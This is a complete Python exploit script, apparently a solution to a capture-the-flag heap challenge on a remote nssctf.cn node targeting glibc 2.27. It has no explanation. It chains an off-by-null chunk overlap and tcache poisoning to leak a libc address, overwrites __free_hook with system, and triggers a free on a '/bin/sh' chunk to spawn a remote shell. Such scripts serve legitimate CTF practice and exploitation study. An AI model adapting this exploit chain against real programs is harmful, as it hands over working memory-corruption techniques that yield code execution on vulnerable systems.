from pwncli import *
context(log_level='debug', arch='amd64', os='linux') context.terminal = ["tmux", "splitw", "-h"] uu64 = lambda x: u64(x.ljust(8, b'\x00')) s = lambda x: p.send(x) sa = lambda x, y: p.sendafter(x, y) sl = lambda x: p.sendline(x) sla = lambda x, y: p.sendlineafter(x, y) ru = lambda x: p.recvuntil(x) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg(): gdb.attach(p,'b* 0x400DA6') def pp64(*args): payload=b'' for i, arg in enumerate(args): payload+=p64(arg) return payload def cmd(c): sla('4.show\n',str(c)) def malloc(idx,size,content="a"): cmd(1) sla('index:',str(idx)) sla('size:',str(size)) ru("gift: ") heap_addr=int(ru('\n')[:-1],16) sa('content:',content) return heap_addr def free(idx): cmd(2) sla('index:',str(idx)) def edit(idx,content): cmd(3) sla('index:',str(idx)) sa('content:',content) def show(idx): cmd(4) sla('index:',str(idx))
p=remote('node5.anna.nssctf.cn',25138) libc=ELF('/ctf/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6') for i in range(7): malloc(i,0x80) for i in range(7,14): malloc(i,0xf0) malloc(14,0x80) malloc(15,0x98)
malloc(16,0xf0)
malloc(17,0x90) malloc(18,0x90) malloc(19,0x90,"/bin/sh\x00") for i in range(14): free(i) free(14) edit(15,b'a'*0x90+p64(0x130))
free(16) free(17) free(18) free(15) key1=0x6022B8
malloc(0,0x100,b'a'*0x88+p64(0xa1)+p64(key1)) heap_addr=malloc(15,0x90) leak('heap_addr',heap_addr) malloc(2,0x90,p32(0xffffff)*2) unsobin_addr=heap_addr+0x80
edit(0,b'a'*0x80+b'\x00'*7) free(15) edit(0,b'a'*0x88+p64(0xa1)+p64(unsobin_addr)) malloc(15,0x90) malloc(3,0x90)
show(3) ru("\n") libc_addr=uu64(p.recv(6))+0x79c2db800000-0x79c2dbbebc61 leak('libc_addr',libc_addr) sys_addr=libc_addr+libc.sym['system'] free_hook=libc_addr+libc.sym['__free_hook']
free(15) edit(0,b'a'*0x88+p64(0xa1)+p64(free_hook)) malloc(15,0x90) malloc(4,0x90,p64(sys_addr)) free(19) ti()
|